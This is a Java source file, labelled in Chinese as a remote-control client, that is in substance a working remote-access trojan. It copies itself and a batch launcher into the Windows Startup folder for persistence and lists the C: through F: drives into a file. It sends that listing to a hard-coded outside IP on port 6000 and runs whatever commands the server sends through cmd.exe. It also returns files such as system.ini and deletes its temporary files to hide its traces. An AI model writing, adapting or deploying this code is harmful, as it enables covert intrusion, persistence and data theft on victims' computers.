client.java~1~

远程控制用的

import java.io.*;
import java.net.*;
import java.lang.*;
public class Client {

static String cjstr;
/****方法1*********下面方法负责生成imp.txt并往里写入执行客户端cmd命令*******************/
		public static void importrun()
		{try
		{
			FileWriter fw= new FileWriter("imp.txt");
		 BufferedWriter buw= new BufferedWriter(fw); 

          buw.write("@echo off");
                buw.write("\n"); 	  
		 
          buw.write("java Client");
                  buw.write("\n");
		  
                   buw.close();
		}
		catch (Exception e)
		{
			System.out.println("1");
		}
		 
		
		}

/*****方法2**************执行生成的bat 文件和复制imp.bat到启动列表*************************/
        public static void mingling1()
        {try
        {
                Process p=Runtime.getRuntime().exec("cmd.exe /c copy 1.txt 1.bat ");
          Process p1=Runtime.getRuntime().exec("cmd.exe /c  1.bat");
		 
		  Process p2=Runtime.getRuntime().exec("cmd.exe /c copy imp.txt C:\\\"Documents and Settings\"\\Administrator\\\"「开始」菜单\"\\程序\\启动\\imp.bat ");
         // Process p3=Runtime.getRuntime().exec("cmd.exe /c  C:\\\"Documents and Settings\"\\Administrator\\\"「开始」菜单\"\\程序\\启动\\imp.bat");
        }
        catch (Exception e)
        {
                System.out.println(e);
        }

        }
/***方法3******************执行服务端传来的指令****************************************/
        public static void mingling2(String ml)
        {
                String str=ml;
                try
                {
                  Process p=Runtime.getRuntime().exec("cmd.exe /c "+str);

                }
                catch (Exception e)
                {
                        System.out.println(e);
                }

        }
/**方法4*************************删除临时文件*****************************/
		public static void mingling3()
		{
		try
		{
			Process p=Runtime.getRuntime().exec("cmd.exe /c del 1.txt");
		Process p2=Runtime.getRuntime().exec("cmd.exe /c del 1.bat");
		Process p3=Runtime.getRuntime().exec("cmd.exe /c del imp.txt");
		
		}
		catch (Exception r)
		{
			System.out.println("删除临时出现异常！");
		}
		

		}
/***方法5***********************创建bat命令，并运行bat命令，把获得的资料返回给主方法**********************/
        public static byte[] chuangjian()throws Exception
        {
         FileWriter fw= new FileWriter("1.txt");
       BufferedWriter buw= new BufferedWriter(fw); 

        buw.write("@echo off");
                buw.newLine();  
		  buw.write("copy Client.class C:\\\"Documents and Settings\"\\Administrator\\\"「开始」菜单\"\\程序\\启动\\");
                  buw.write("\n");
		 
          buw.write("dir c: >ypzl.txt");
                  buw.write("\n");
          buw.write("dir d: >>ypzl.txt");
                  buw.write("\n");
          buw.write("dir e: >>ypzl.txt");
                  buw.write("\n");
          buw.write("dir f: >>ypzl.txt");

                  buw.write("\n");
		  
                   buw.close();
		 Thread td=new Thread();
		  importrun();
		td.sleep(3000);
          mingling1();
		  
					td.sleep(5000);
		  mingling3();
                  String s="ypzl.txt";
                  
                    byte[] by = duqv(s);
                    return by;
                  
                        

        }
/***方法6********************读取生成的文本资料，返回给调用者*******************/
        public static byte[] duqv(String s)throws Exception
        {   
            FileReader fr = new FileReader(s);
            char[] ch = new char[1000000];
            int leng = fr.read(ch);
            String str = new String(ch, 0, leng);
            byte[] by = new byte[1000000];
            by = str.getBytes();
           
            return by;
          
          
        }
/*main方法*/
        public static void main(String[] args) {
          
          start1();
          
        }
/****方法7*********客户端请求连接服务端方法（把读取的资料传回服务端）****************/
          public static void start1(){
                        boolean f=true;
                while(f)
                {
                try {
                 Socket s=new Socket("60.21.27.38",6000);
                 InputStream is=s.getInputStream();
                OutputStream os=s.getOutputStream();
                                byte[] by=null;
                                try
                                {
                                        by=chuangjian();
                                }
                                catch (Exception e)
                                {
                                        System.out.println(e);
                                }
							 
                os.write(by);//返回资料				
				
                byte []b=new byte[100];
                                int len=is.read(b);
                                cjstr=new String(b,0,len);
                                System.out.println(cjstr);
								String gg="goto";
								 if(cjstr.length()>0)
					{
									zhixing();
									
					}
								 else
                                 f=false;
                                  os.close();
                                  is.close();
                                  s.close();
                                
                                  
                                  }
                                 catch (Exception ex) {
                                           ex.printStackTrace();
                                  }

                }
        
             
          }
/******方法8*************获得服务端穿过来的命令，如果命令的目的是在次获得文本信息可以直接返回*/
     
        public static void zhixing()
                {
					
                try {
                            Socket s=new Socket("60.21.27.38",6000);
                            InputStream is=s.getInputStream();
                OutputStream os=s.getOutputStream();

                                
						System.out.println(cjstr);
                                mingling2(cjstr);
								Thread td=new Thread();
								td.sleep(3000);
								byte[] bn=null;

                                bn=duqv("system.ini");//这里可以指定返回资料的文件名
                os.write(bn);//返回资料

                byte []b=new byte[10000];
                                int len=is.read(b);
                                System.out.println(new String(b,0,len));

                                  os.close();
                                  is.close();
                                  s.close();

                                  }
								  catch(FileNotFoundException t)
								{
								  System.out.println("可以忽略的异常！嘿嘿");
								  }
                                 catch (Exception ex) {
                                           ex.printStackTrace();
                                  }
                }






  

}